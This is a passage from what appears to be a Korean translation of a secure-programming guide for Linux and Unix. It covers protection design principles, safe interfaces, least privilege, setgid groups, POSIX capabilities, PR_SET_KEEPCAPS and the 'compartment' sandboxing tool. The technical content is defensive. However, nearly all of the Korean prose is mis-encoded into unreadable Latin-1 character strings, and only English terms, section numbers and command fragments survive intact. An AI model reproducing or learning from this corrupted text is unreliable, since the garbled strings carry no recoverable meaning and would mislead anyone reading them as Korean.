ºÎºÐ¸¸ÀÌ ÀÌ·¯ÇÑ ±ÇÇÑÀ» °¡Á®¾ß ÇÑ´Ù. ±ÇÇÑ Á¦ÇÑÀ» ¾î¶»°Ô ÇÏ´Â Áö¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.3절 À» º¸¶ó.

  • ¸ÞÄ«´ÏÁòÀÇ È¿À²Àû »ç¿ë/´Ü¼ø (Economy of mechanism/Simplicity). º¸È£ ½Ã½ºÅÛ ¼³°è´Â °¡´ÉÇÑ ´Ü¼øÇϰí ÀÛ¾Æ¾ß ÇÑ´Ù. À̵éÀº "¼ÒÇÁÆ®¿þ¾îÀÇ ¶óÀκ° °Ë»ç ¹× º¸È£ ¸ÞÄ«´ÏÁòÀ» ±¸ÇöÇÏ´Â Çϵå¿þ¾îÀÇ ¹°¸®Àû Á¶»ç¿Í °°Àº ±â¹ýµéÀÌ ÇÊ¿äÇÏ´Ù. ÀÌ·¯ÇÑ ±â¹ýÀÌ ¼º°øÀûÀ̱â À§Çؼ­´Â ÀÛ°í ´Ü¼øÇÑ ¼³°è°¡ Àý´ëÀûÀ¸·Î ÇÊ¿äÇÏ´Ù" ¶ó°í ³íÀÇÇϰí ÀÖ´Ù. ÀÌ´Â ¶§¶§·Î "KISS ("keep it simple, stupid")" ¶ó°í ±â¼úµÈ´Ù.

  • ¿ÀÇ ¼³°è (Open design). º¸È£ ¸ÞÄ«´ÏÁòÀº °ø°ÝÀÚÀÇ ¹«Áö¿¡ ÀÇÁ¸ÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ´ë½Å ¸ÞÄ«´ÏÁòÀº ÆÐ½º¿öµå ¶Ç´Â ºñ¹ÐŰ¿Í °°Àº ºñ±³Àû ¼Ò¼ö (½±°Ô º¯°æµÉ ¼öÀÖ´Â) ¾ÆÀÌÅÛÀÇ ±â¹Ð¼º¿¡ ÀÇÁ¸ÇÏ¸ç °ø°³ÀûÀÌ¿©¾ß ÇÑ´Ù. ¿ÀÇ ¼³°è´Â »ó¼¼ÇÑ °ø°³Àû Á¶»ç¸¦ °¡´ÉÇÏ°Ô ÇÏ¸ç ¶ÇÇÑ »ç¿ëÀÚ ÀÚ½ÅÀÌ »ç¿ëÇϰí ÀÖ´Â ½Ã½ºÅÛÀÌ ÇÕ´çÇÔÀ» ±ú´Ý°Ô ÇÒ ¼ö ÀÖ´Ù. ¼ÖÁ÷È÷ ³Î¸® ¹èÆ÷µÇ¾î ÀÖ´Â ½Ã½ºÅÛ¿¡ ´ëÇØ ±â¹ÐÀ» À¯ÁöÇÏ·Á°í ÇÏ´Â °ÍÀº Çö½ÇÀûÀÌÁö ¾Ê´Ù; µðÄÄÆÄÀÏ·¯¿Í ÆÄ±«µÈ Çϵå¿þ¾î´Â ±¸Çö½ÃÀÇ ¾î¶² ºñ¹ÐÀ» À绡¸® µå·¯³¾ ¼ö ÀÖ´Ù. Bruce Schneier Àº ½º¸¶Æ® ¿£Áö´Ï¾î´Â ¼Ò½º Äڵ尡 Æø³ÐÀº °ËÅ並 ¹Þ¾ÒÀ¸¸ç ¸ðµç È®ÀÎµÈ ¹®Á¦°¡ ¼öÁ¤µÇ¾úÀ½À» º¸ÀåÇØ¾ß ÇÒ»Ó¸¸ ¾Æ´Ï¶ó º¸¾È°ú °ü·ÃµÈ ¸ðµç °Í¿¡ ´ëÇØ ¿ÀÇ ¼Ò½º Äڵ带 ¿ä±¸ÇØ¾ß ÇÑ´Ù°í ÁÖÀåÇϰí ÀÖ´Ù [Schneier 1999].

  • ¿Ïº®ÇÑ Á¶Á¤ (Complete mediation). ¸ðµç Á¢±Ù ½Ãµµ°¡ °Ë»çµÇ¾î¾ß Çϴµ¥ ¸ÞÄ«´ÏÁòÀÌ ÆÄ±«µÉ ¼ö ¾øµµ·Ï À̸¦ À§Ä¡½ÃÄѶó. ¿¹¸¦ µé¾î Ŭ¶óÀ̾ðÆ®-¼­¹ö ¸ðµ¨¿¡¼­ ÀϹÝÀûÀ¸·Î ¼­¹ö´Â »ç¿ëÀÚ°¡ ÀÚ½ÅÀÇ Å¬¶óÀÌ¾ðÆ®¸¦ ±¸Ãà ¶Ç´Â ¼öÁ¤ÇÒ ¼ö Àֱ⠶§¹®¿¡ ¸ðµç Á¢±Ù °Ë»ç¸¦ ÇØ¾ß ÇÑ´Ù. À̰ÍÀÌ 6.2절 »Ó¸¸ÀÌ ¾Æ´Ï¶ó 4장 ÀÇ ¿äÁöÀÌ´Ù.

  • °íÀå ¾ÈÀü µðÆúÆ® (Fail-safe defaults (¿¹, Çã°¡±Ç ±â¹Ý Á¢±Ù ¹æ¹ý). µðÆúÆ®´Â ¼­ºñ½º ºÎÀÎÀ̾î¾ß ÇÏ¸ç º¸È£ ü°è°¡ Á¢±ÙÀÌ Çã°¡µÇ´Â Á¶°ÇÀ» È®ÀÎÇØ¾ß ÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾ò±â À§Çؼ­´Â 6.5절 ¹× 6.7절 À» º¸¶ó.

  • ±ÇÇÑ ºÐ¸® (Separation of privilege). ¿øÄ¢ÀûÀ¸·Î °´Ã¼¿¡ ´ëÇÑ Á¢±ÙÀº ÇѰ¡Áö ÀÌ»óÀÇ Á¶°Ç¿¡ ÀÇÁ¸ÇØ¾ß ÇÏ¸ç µû¶ó¼­ ÇѰ¡Áö º¸È£ ½Ã½ºÅÛÀ» ¹«³Ê¶ß·Áµµ ¿ÏÀüÇÑ Á¢±ÙÀ» ÇÒ ¼ö ¾øÀ» °ÍÀÌ´Ù.

  • ÃÖ¼ÒÇÑÀÇ °øÅë ¸ÞÄ«´ÏÁò (Least common mechanism). °øÀ¯ ¸ÞÄ«´ÏÁò (¿¹, /tmp ¶Ç´Â /var/tmp µð·ºÅ丮 »ç¿ë) ÀÇ ¼ö¿Í ±× »ç¿ëÀ» ÃÖ¼ÒÈ­ÇØ¶ó. °øÀ¯ °´Ã¼´Â Á¤º¸ È帧 ¹× ÀǵµµÇÁö ¾ÊÀº »óÈ£ÀÛ¿ë¿¡ ´ëÇØ ÀáÀçÀûÀ¸·Î À§ÇèÇÑ Ã¤³ÎÀ» Á¦°øÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾ò±â À§Çؼ­´Â 6.8절 À» º¸¶ó.

  • ½É¸®ÇÐÀû ¼ö¿ë¼º/»ç¿ëÀÇ Æí¸®ÇÔ (Psychological acceptability/Easy to use). ÈÞ¸Õ ÀÎÅÍÆäÀ̽º´Â »ç¿ëÇϱ⠽±µµ·Ï ¼³°èµÇ¾î¾ß ÇÏ¸ç µû¶ó¼­ »ç¿ëÀÚ´Â ÀÏ»óÀû ¹× ÀÚµ¿ÀûÀ¸·Î º¸È£ ¸ÞÄ«´ÏÁòÀ» Á¤È®È÷ »ç¿ëÇÒ °ÍÀÌ´Ù. º¸¾È ¸ÞÄ«´ÏÁòÀÌ »ç¿ëÀÚ°¡ º¸È£ÇÏ·Á´Â ¸ñÀûÀÇ Á¤½ÅÀû À̹ÌÁö¿Í ¹ÐÁ¢ÇÏ°Ô ÀÏÄ¡µÈ´Ù¸é ½Ç¼ö´Â ÁÙ¾îµé °ÍÀÌ´Ù.

º¸¾È¿¡ ´ëÇØ ÈǸ¢ÇÑ ¿©·¯°¡Áö ´Ù¸¥ ¼³°è ¿ø¸®µéÀº Peter Neumann's CHATS Principles ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.


6.2. ÀÎÅÍÆäÀ̽º¸¦ ¾ÈÀüÇÏ°Ô ÇØ¶ó

ÀÎÅÍÆäÀ̽º´Â ÃÖ¼ÒÇÑ (°¡´ÉÇÑ ´Ü¼øÇÑ), Á¤¹ÐÇÑ (´ÜÁö ÇÊ¿ä·Î ÇÑ ±â´É¸¸À» Á¦°ø) ¹× °í·ÁµÈ (non-bypassable) °ÍÀÌ¾ß ÇÑ´Ù. ½Å·Ú´Â ÃÖ¼ÒÈ­µÇ¾î¾ß ÇÑ´Ù. »ç¿ëÀÚ°¡ º¼ ¼ö ÀÖ´Â µ¥ÀÌŸ¸¦ Á¦ÇÑÇÏ´Â °ÍÀ» °í·ÁÇØ¶ó.

¾ÖÇø®ÄÉÀÌ¼Ç ¹× µ¥ÀÌŸ ºä¾îµéÀÌ ¿ÜºÎ¿¡¼­ °³¹ßµÈ ÆÄÀÏÀ» Ç¥½ÃÇϱâ À§ÇØ »ç¿ëµÉ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ º¸¾ÈÀûÀÎ sandbox ¸¦ »ý¼ºÇϱâ À§ÇØ ÇÊ¿äÇÑ »ó¼¼ÇÑ ÀÛ¾÷À» ÇÒ Çʿ䰡 ¾ø°í ÀÇÇâÀÌ ¾ø´Ù¸é ÀϹÝÀûÀ¸·Î ºä¾îµéÀÌ ÇÁ·Î±×·¥ (½ºÅ©¸³Æ® ¶Ç´Â ¸ÅÅ©·Î) À» ¹Þ¾ÆµéÀÌ´Â °ÍÀ» Çã¿ëÇÏÁö ¸¶¶ó. °¡Àå À§ÇèÇÑ °ÍÀº ¾ÖÇø®ÄÉÀ̼ÇÀÌ ÀûÀçµÉ ¶§ ¹×/¶Ç´Â µ¥ÀÌŸ°¡ Ãʱ⿡ Ç¥½ÃµÉ ¶§ ½ÇÇàµÇ´Â ÀÚµ¿ ½ÇÇà ¸ÅÅ©·ÎÀÌ´Ù; º¸¾È °üÁ¡¿¡¼­ º¸¾ÒÀ» ¶§ ¸ÅÅ©·Î°¡ ¹«¾ùÀ» ÇÒ °ÍÀÎÁö¸¦ ±ØÈ÷ °­·ÂÇÏ°Ô Á¦¾îÇÏÁö ¾Ê´Â´Ù¸é ¹ß»ýÇÏ±æ ±â´Ù¸®´Â Àç¾ÓÀÎ °ÍÀÌ´Ù. ±×¸®°í ¿¹Àü °æÇèÀº ½ÇÁ¦ sandbox ¸¦ ±¸ÇöÇÏ´Â °ÍÀº ¾î·Æ´Ù°í º¸¿©¿Ô´Ù.


6.3. ±ÇÇÑÀ» ÃÖ¼ÒÈ­ÇØ¶ó

¾Õ¿¡¼­ ¾ð±ÞÇßµíÀÌ ÇÁ·Î±×·¥ÀÌ ±× ÀÛ¾÷À» Çϴµ¥ ÇÊ¿äÇÑ ÃÖ¼ÒÇÑÀÇ ±ÇÇÑÀ» °®´Â °ÍÀº Áß¿äÇÑ ÀϹÝÀûÀÎ ¿ø¸®ÀÌ´Ù (ÀÌ´Â "ÃÖ¼ÒÇÑÀÇ ±ÇÇÑ" À̶ó°í ÁöĪµÈ´Ù). ÀÌ·± ¹æ½Ä¿¡¼­ ÇÁ·Î±×·¥ÀÌ ÆÄ±«µÈ´ÙÇÏ´õ¶ó°í ±× ¼Õ»óÀº Á¦ÇѵȴÙ. °¡Àå ±Ø´ÜÀûÀÎ ¿¹´Â ´Ü¼øÈ÷ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀüÇô ÀÛ¼ºÇÏÁö ¾Ê´Â °ÍÀÌ´Ù -ÀÌ·² ¼ö ÀÖ´Ù¸é º¸Åë ÀÌ·¸°Ô ÇØ¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î °¡´ÉÇÏ´Ù¸é ÇÁ·Î±×·¥À» setuid ¶Ç´Â setgid ÇÁ·Î±×·¥À¸·Î ¸¸µéÁö ¸¶¶ó; ±×Àú ÀϹÝÀûÀÎ ÇÁ·Î±×·¥À» ¸¸µé¾î À̸¦ ½ÇÇà½Ã۱â Àü¿¡ °ü¸®ÀÚ°¡ ±× ÀÚ°ÝÀ¸·Î ·Î±×ÀÎÇϵµ·Ï ÇØ¶ó.

¸®´ª½º¿Í À¯´Ð½º¿¡¼­ ÇÁ·Î¼¼½ºÀÇ ±ÇÇÑÀ» ±âº»ÀûÀ¸·Î °áÁ¤ÇÏ´Â °ÍÀº ÇÁ·Î¼¼½º¿Í °ü·ÃµÈ id ¼ÂÀÌ´Ù; °¢ ÇÁ·Î¼¼½º´Â »ç¿ëÀÚ¿Í ±×·ì¿¡ ´ëÇØ ½ÇÁ¦ (real), À¯È¿ (effective) ¹× À¯º¸ (saved) id ¸¦ °®°í ÀÖ´Ù. ¸®´ª½º´Â ¶ÇÇÑ ÆÄÀϽýºÅÛ uid ¿Í gid ¸¦ °®´Â´Ù. ÀÌ·¯ÇÑ °ªÀ» Á¶ÀÛÇÏ´Â °ÍÀº ±ÇÇÑÀ» ÃÖ¼ÒÇÑÀ¸·Î À¯ÁöÇϴµ¥ À־ °áÁ¤ÀûÀε¥ À̸¦ ÃÖ¼ÒÈ­ÇÏ´Â ¸î°¡Áö ¹æ¹ýÀÌ ÀÖ´Ù (¹ØºÎºÐ¿¡ ³íÀǵȴÙ). ¶ÇÇÑ chroot(2) ¸¦ ÀÌ¿ëÇØ¼­ ÇÁ·Î±×·¥ÀÌ º¼ ¼ö ÀÖ´Â ÆÄÀÏÀ» ÃÖ¼ÒÈ­ÇÒ ¼ö ÀÖ´Ù. ¸®´ª½º¿Í À¯´Ð½º¿¡¼­´Â ±ÇÇÑÀ» °áÁ¤ÇÏ´Â ¾à°£ÀÇ ´Ù¸¥ °ªµéÀÌ Àִµ¥ ¿¹¸¦ µé¾î POSIX ´É·Â (¸®´ª½º 2.2 ÀÌ»ó ¹× ¸î¸î ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÌ À̸¦ Áö¿øÇÑ´Ù) ÀÌ ÀÖ´Ù.


6.3.1. Çã°¡µÇ´Â ±ÇÇÑÀ» ÃÖ¼ÒÈ­ÇØ¶ó

¾Æ¸¶ °¡Àå È¿°úÀûÀÎ ±â¹ýÀº Çã°¡µÈ °¡Àå ³ôÀº ±ÇȯÀ» ´Ü¼øÈ÷ ÃÖ¼ÒÈ­ÇÏ´Â °ÍÀÌ´Ù. ƯÈ÷ ÇÁ·Î±×·¥¿¡°Ô °¡´ÉÇÑ ·çÆ® ±ÇÇÑÀ» ÁÖÁö ¾Êµµ·Ï ÇØ¶ó. ÇÁ·Î±×·¥ÀÌ ´ÜÁö ÀÛÀº ÆÄÀϼ¿¡ Á¢±ÙÇÒ Çʿ丸 ÀÖ´Ù¸é ÇÁ·Î±×·¥À» setuid root ·Î ¸¸µéÁö ¸¶¶ó; ¿©·¯ ±â´É¿¡ ´ëÇØ º°°³ÀÇ »ç¿ëÀÚ ¶Ç´Â ±×·ì »ý¼ºÀ» °í·ÁÇØ¶ó.

°øÅëÀûÀÎ ±â¹ýÀº Ưº° ±×·ìÀ» »ý¼ºÇؼ­ ÆÄÀÏÀÇ ±×·ì ¼ÒÀ¯±ÇÀ» ÀÌ ±×·ìÀ¸·Î º¯°æÇÑ ÈÄ ÇÁ·Î±×·¥À» ÀÌ ±×·ì¿¡ setgid ·Î ¸¸µå´Â °ÍÀÌ´Ù. ±×·ì ¸â¹ö½ÊÀÌ ´õ¿í ÀûÀº ±ÇÇÑÀ» Çã°¡Çϱ⠶§¹®¿¡ (ƯÈ÷ ÆÄÀÏ Çã°¡±ÇÀ» º¯°æÇÒ ±ÇÇÑÀ» ÁÖÁö´Â ¾Ê´Â´Ù) ÇÁ·Î±×·¥À» setuid ´ë½Å setgid ·Î ¸¸µå´Â °ÍÀÌ ´õ¿í ÁÁ´Ù.

ÀÌ´Â °ÔÀÓ¿¡¼­ °íµæÁ¡ÀÇ °æ¿ì¿¡ º¸Åë ÇàÇØÁø´Ù. °ÔÀÓÀº ´ë°³ setgid games À¸·Î µæÁ¡ ÆÄÀÏÀº ±×·ì games °¡ ¼ÒÀ¯Çϰí ÇÁ·Î±×·¥ ±× ÀÚü¿Í À̵éÀÇ ¼³Á¤ ÆÄÀÏÀº ´Ù¸¥ ´©±º°¡ (·çÆ®) °¡ ¼ÒÀ¯ÇÑ´Ù. µû¶ó¼­ °ÔÀÓ¿¡ ħÀÔÇÑ °ø°ÝÀÚ°¡ °íµæÁ¡À» º¯°æÇÒ ¼ö´Â ÀÖÁö¸¸ °ÔÀÓÀÇ ½ÇÇà ¶Ç´Â ±× ¼³Á¤ ÆÄÀÏÀ» º¯°æÇÒ ±ÇÇÑÀ» ¾òÁö´Â ¸øÇÑ´Ù. ÈÄÀÚ´Â Áß¿äÇÏ´Ù; °ø°ÝÀÚ°¡ °ÔÀÓÀÇ ½ÇÇà ¶Ç´Â ±× ¼³Á¤ ÆÄÀÏ (½ÇÇà ÆÄÀÏÀÌ ¹«¾ùÀ» ÀÛµ¿½Ãų °ÇÁö¸¦ Á¦¾îÇÒ ¼ö ÀÖ´Â) À» º¯°æÇÒ ¼ö ÀÖ´Ù¸é °ÔÀÓÀ» Áñ±â´Â »ç¿ëÀÚµéÀ» Á¦¾îÇÒ ¼öµµ ÀÖ´Ù.

»õ·Î¿î ±×·ì »ý¼ºÀÌ ÃæºÐÇÏÁö ¾Ê´Ù¸é ÀÏ·ÃÀÇ ÀÚ¿øµéÀ» °ü¸®ÇÏ´Â »õ·Î¿î ÁØ»ç¿ëÀÚ (½ÇÁ¦·Î Ưº°ÇÑ ¿ªÇÒÀ» ÇÏ´Â) »ý¼ºÀ» °í·ÁÇØ¶ó. À¥¼­¹ö°¡ ÀüÇüÀûÀ¸·Î ÀÌ·± ¹æ½ÄÀε¥ ¶§¶§·Î À¥¼­¹ö´Â ´Ù¸¥ »ç¿ëÀÚ¿Í ºÐ¸®µÉ ¼ö ÀÖµµ·Ï Ưº°ÇÑ »ç¿ëÀÚ (``nobody") ·Î ¼³Á¤µÈ´Ù. Á¤¸»·Î À¥¼­¹ö´Â ÀÌÁ¡¿¡¼­ ±³À°ÀûÀÌ´Ù: À¥¼­¹ö´Â ±¸µ¿Çϱâ À§ÇØ ÀüÇüÀûÀ¸·Î ·çÆ® ±ÇÇÑÀ» ÇÊ¿ä·Î ÇÏÁö¸¸ (Æ÷Æ® 80 ¿¡ ºÎÂøµÉ ¼ö ÀÖµµ·Ï) ÀÏ´Ü ½ÃÀÛµÇ¸é ´ë°³ ¸ðµç ±ÇÇÑÀ» ¹ö¸®°í ``nobody" »ç¿ëÀڷμ­ ÀÛµ¿ÇÑ´Ù. ´ë°³ ÁØ»ç¿ëÀÚ´Â ÀڱⰡ ½ÇÇà½ÃŲ ±âº» ÇÁ·Î±×·¥À» ¼ÒÀ¯ÇÏÁö ¾ÊÀ¸¸ç µû¶ó¼­ ±× °èÁ¤¿¡ ħÀÔÇÑ´Ù°í ÇØ¼­ ÇÁ·Î±×·¥ ÀÚü¸¦ º¯°æÇÒ ¼ö´Â ¾ø´Ù. ±× °á°ú·Î ÀÛµ¿ÁßÀÎ À¥¼­¹ö¿¡ ħÀÔÇÏ´Â °ÍÀÌ ÀϹÝÀûÀ¸·Î Àüü ½Ã½ºÅÛÀÇ º¸¾ÈÀ» ÀÚµ¿ÀûÀ¸·Î ÆÄ±«ÇÏÁö´Â ¸øÇÑ´Ù.

ÇÁ·Î±×·¥¿¡ ·çÆ® ±ÇÇÑÀ» ÁÖ¾î¾ß ÇÑ´Ù¸é ÇÁ·Î±×·¥ÀÌ ÀÌ¿ëÇÒ ¼ö ÀÖ´Â ±ÇÇÑÀ» ÃÖ¼ÒÈ­ÇÏÀÚ¸¶ÀÚ POSIX ´É·Â »ç¿ëÀ» °í·ÁÇØ¶ó. POSIX ´Â ¸®´ª½º 2.2 ÀÌ»ó ¹× ´Ù¸¥ À¯´Ð½º °è¿­ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÇÁ·Î±×·¥ ½ÃÀÛÈÄ¿¡ Áï°¢ÀûÀ¸·Î cap_set_proc(3) ¶Ç´Â ¸®´ª½º °íÀ¯ÀÇ capsetp(3) À» È£ÃâÇÔÀ¸·Î½á ÇÁ·Î±×·¥ÀÇ ´É·ÂÀ» ¿µ±¸È÷ ´ÜÁö ½ÇÁ¦ ÇÊ¿ä·Î ÇÏ´Â ´É·ÂÀ¸·Î °¨¼Ò½Ãų ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ³×Æ®¿öÅ© ½Ã°£ µ¥¸ó ( ntpd) ´Â ÇöÀç ½Ã°£À» ¼öÁ¤ÇÒ Çʿ䰡 Àֱ⶧¹®¿¡ ÀüÅëÀûÀ¸·Î ·çÆ® ±ÇÇÑÀ¸·Î ½ÇÇàµÈ´Ù. ±×·¯³ª ntpd °¡ ´ÜÁö ÇϳªÀÇ ´É·Â CAP_SYS_TIME ¸¸ÀÌ ÇÊ¿äÇϵµ·Ï ÆÐÄ¡°¡ °³¹ßµÇ¾úÀ¸¸ç µû¶ó¼­ °ø°ÝÀÚ°¡ ntpd ¿¡ ´ëÇÑ Á¦¾î¸¦ ¾ò´Â´Ù ÇÏ´õ¶óµµ ÇÁ·Î±×·¥À» ¾Ç¿ëÇÏ´Â °ÍÀº ´õ¿í ¾î·Á¿ï °ÍÀÌ´Ù.

´Ù¸¥ Á¶Ä¡°¡ ÃëÇØÁöÁö ¾Ê´Â´Ù¸é POSIX ´É·ÂÀ» »ç¿ëÇØ ±ÇÇÑÀ» À¯ÁöÇÏ´Â °ÍÀº ÇÁ·Î¼¼½º°¡ ·çÆ® »ç¿ëÀÚ id ¸¦ °è¼ÓÇØ¼­ °¡Á®¾ß ÇÔÀ» ¿ä±¸Çϱ⠶§¹®¿¡ ÀúÀÚ´Â ``¾î´À Á¤µµ Á¦ÇÑÀû" À̶ó°í ¸»ÇÏ°í ½Í´Ù. ¼³Á¤ ÆÄÀÏ, ¹ÙÀ̳ʸ® µîÀÇ ¸¹Àº Áß¿äÇÑ ÆÄÀÏÀº ·çÆ®°¡ ¼ÒÀ¯ÇØ¾ß Çϱ⠶§¹®¿¡ ÀÌ·¯ÇÑ Á¦ÇÑµÈ ´É·ÂÀ» °®´Â ÇÁ·Î±×·¥À» Á¦¾îÇÏ´Â °ø°ÝÀÚ´Â ¿©ÀüÈ÷ ÁÖ¿ä ½Ã½ºÅÛ ÆÄÀÏ ¼öÁ¤ ¹× ¿ÏÀüÇÑ ·çÆ® ¼öÁØÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ´Ù. ¸®´ª½º Ä¿³Î È®Àå (¹öÀü 2.4.X ¹× 2.2.19 À̻󿡼­ ¾µ ¼ö ÀÖ´Ù) Àº »ç¿ë°¡´ÉÇÑ ±ÇÇÑÀ» Á¦ÇÑÇÏ´Â ´õ¿í ÁÁÀº ¹æ¹ýÀ» Á¦°øÇÑ´Ù; ÇÁ·Î±×·¥ÀÌ ¸ðµç POSIX ´É·ÂÀ» °®´Â ·çÆ®·Î ½ÇÇàµÇ¾î ºÒÇÊ¿äÇÑ ´É·ÂÀº Á¦°ÅÇϰí prctl(PR_SET_KEEPCAPS,1) À» È£ÃâÇÑ ÈÄ ·çÆ®°¡ ¾Æ´Ñ ÇÁ·Î¼¼½º·Î º¯°æÇϱâ À§ÇØ setuid() ¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. PR_SET_KEEPCAPS ¼³Á¤Àº ÇÁ·Î¼¼½º°¡ 0 ÀÌ ¾Æ´Ñ °ªÀ¸·Î setuid ¸¦ ÇÒ ¶§ POSIX ´É·ÂÀÌ Á¦°ÅµÇÁö ¾Êµµ·Ï ÇÁ·Î¼¼½º¿¡ Ç¥½Ã¸¦ Çϸç ÀÌ ÇÁ·Î¼¼½º ¼³Á¤Àº exec() ¿¡¼­ Á¦°ÅµÈ´Ù. ±×·¯³ª PR_SET_KEEPCAPS ´Â ´õ¿í »õ·Î¿î ¸®´ª½º Ä¿³Î ¹öÀü¿¡ ´ëÇÑ ¸®´ª½º °íÀ¯ÀÇ È®ÀåÀ̶ó´Â °Í¿¡ ÁÖÀÇÇØ¶ó.

Çã°¡µÇ´Â ±ÇÇÑÀÇ ÃÖ¼ÒÈ­¸¦ ´Ü¼øÇÏ°Ô Çϱâ À§ÇØ »ç¿ëÇÒ ¼ö ÀÖ´Â ¸®´ª½º °íÀ¯ÀÇ ÇѰ¡Áö µµ±¸´Â SuSe ¿¡ ÀÇÇØ °³¹ßµÈ ``compartment" µµ±¸ÀÌ´Ù. ÀÌ´Â ÆÄÀϽýºÅÛ ·çÆ®, uid gid ¹×/¶Ç´Â capability set À» ¼³Á¤ÇÑÈÄ ÇÁ·Î±×·¥À» ½ÇÇà½ÃŲ´Ù. À̴ ƯÈ÷ ¾î¶² ´Ù¸¥ ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏÁö ¾Ê°í ½ÇÇà½Ã۴µ¥ Æí¸®ÇÏ°Ô ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ´ÙÀ½Àº 0.5 ¹öÀüÀÇ ±¸¹®ÀÌ´Ù:


Syntax: compartment [options] /full/path/to/program

Options:
   --chroot path    path ·Î chroot ÇÑ´Ù
   --user user      uid ¸¦ user ÀÇ uid ·Î º¯°æÇÑ´Ù
   --group group    gid ¸¦ group ÀÇ gid ·Î º¯°æÇÑ´Ù
   --init program   ÃÖ¿ì¼±ÀûÀ¸·Î ÀÌ programe À» ½ÇÇà½ÃŲ´Ù
   --cap capset     capset À̸§À» ¼³Á¤ÇÑ´Ù. ¿©·¯¹ø ÁöÁ¤ÇÒ ¼ö ÀÖ´Ù
   --verbose        ÀÚ¼¼ÇÑ Á¤º¸¸¦ º¸¿©ÁØ´Ù
   --quiet          syslog ¿¡ ±â·ÏÇÏÁö ¾Ê´Â´Ù

µû¶ó¼­ anonymous ftp ¼­¹ö¸¦ ´õ¿í ¾ÈÀüÇÏ°Ô ±¸µ¿½Ãų ¼ö ÀÖ´Ù:

  compartment --chroot /home/ftp --cap CAP_NET_BIND_SERVICE anon-ftpd

ÀÌ ¹®¼­ ÀÛ¼º ½ÃÁ¡¿¡¼­ µµ±¸´Â ¹Ì¿Ï¼ºÀ̰í ÀüÇüÀûÀÎ ¸®´ª½º ¹èÆ÷ÆÇ¿¡¼­ ¾òÀ» ¼ö´Â ¾øÁö¸¸ »óȲÀº ºü¸£°Ô º¯ÇÒ °ÍÀÌ´Ù. http://www.suse.de/~marc ¿¡¼­ ÇÁ·Î±×·¥À» ´Ù¿î·Îµå¹ÞÀ» ¼ö ÀÖ´Ù.

¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÌ POSIX ´É·ÂÀ» ±¸ÇöÇÏÁö´Â ¾ÊÀ¸¸ç PR_SET_KEEPCAPS Àº ÇöÀç ¸®´ª½º¿¡¼­¸¸ Áö¿øÇÔÀ» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ ÀÌ Á¢±Ù ¹æ¹ýÀº À̽ļºÀ» ÇÑ´Ù; ±×·¯³ª µµ¿òÀÌ µÇ´Â °æ¿ì¿¡¸¸ À̸¦ ´ÜÁö ¼±ÅÃÀûÀÎ º¸È£¼ö´ÜÀ¸·Î »ç¿ëÇÑ´Ù¸é ½ÇÁ¦ÀûÀ¸·Î À̽ļºÀ» Á¦ÇÑÇÏÁö´Â ¾ÊÀ» °ÍÀÌ´Ù. ¶ÇÇÑ ¸®´ª½º Ä¿³Î 2.2 ¹öÀü ÀÌ»óÀº ÇÏÀ§ ¼öÁØ È£ÃâÀ» Æ÷ÇÔÇÏÁö¸¸ À̵éÀ» »ç¿ëÇϱ⠿ëÀÌÇÏ°Ô ÇÏ´Â C ¼öÁØ ¶óÀ̺귯¸®´Â ¸î¸î ¸®´ª½º ¹èÆ÷ÆÇ¿¡´Â ¼³Ä¡µÇ¾î ÀÖÁö ¾Ê¾Æ ¾ÖÇø®ÄÉÀ̼ǿ¡¼­ À̵éÀÇ »ç¿ëÀ» ¾à°£ º¹ÀâÇÏ°Ô Çϰí ÀÖ´Ù. ¸®´ª½º¿¡¼­ POSIX ´É·Â ±¸Çö¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://linux.kernel.org/pub/linux/libs/security/linux-privs ¸¦ º¸¶ó.

FreeBSD ´Â ±ÇÇÑ Á¦ÇÑÀ» À§ÇØ jail() ÇÔ¼ö¸¦ °®°í ÀÖ´Ù: ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â jail ¹®¼­ ¸¦ º¸¶ó. ¶ÇÇÑ ±ÇÇÑ Á¦ÇÑÀ» À§ÇØ ¸¹Àº Àü¹®È­µÈ µµ±¸ ¹× È®ÀåµéÀÌ ÀÖ´Ù; 3.10절 À» º¸¶ó.


6.3.2. ±ÇÇÑÀÌ »ç¿ëµÉ ¼ö ÀÖ´Â ½Ã°£À» ÃÖ¼ÒÈ­ÇØ¶ó

°¡´ÉÇÑ »¡¸® ¿µ±¸ÀûÀ¸·Î ±ÇÇÑÀ» Æ÷±âÇØ¶ó. ¸®´ª½º¸¦ Æ÷ÇÔÇÑ ¸î¸î À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº ``ÀÌÀü" ID °ªÀ» ÀúÀåÇϰí ÀÖ´Â ``À¯º¸µÈ (saved)" ID ¸¦ ±¸ÇöÇÑ´Ù. °¡Àå °£´ÜÇÑ Á¢±Ù ¹æ¹ýÀº ÀûÀýÇÑ °æ¿ì (¿¹, setgroups(2) »ç¿ë) ¸ðµç Ãß°¡µÈ ±×·ìÀ» Àç¼³Á¤ÇÑ ÈÄ ½Å·ÚµÇÁö ¾ÊÀº id ¿¡ ´Ù¸¥ id ¸¦ µÎ¹ø ¼³Á¤ÇÏ´Â °ÍÀÌ´Ù. setuid/setgid ÇÁ·Î±×·¥¿¡¼­´Â ƯÈ÷ fork(2) ½ÇÇà Á÷ÈÄ¿¡ ½ÇÁ¦ uid ¿Í gid ¿¡ ´ë°³ À¯È¿ uid ¿Í gid ¸¦ ¼³Á¤ÇØ¾ß ÇÏ¸ç Æ¯º°ÇÑ ÀÌÀ¯°¡ 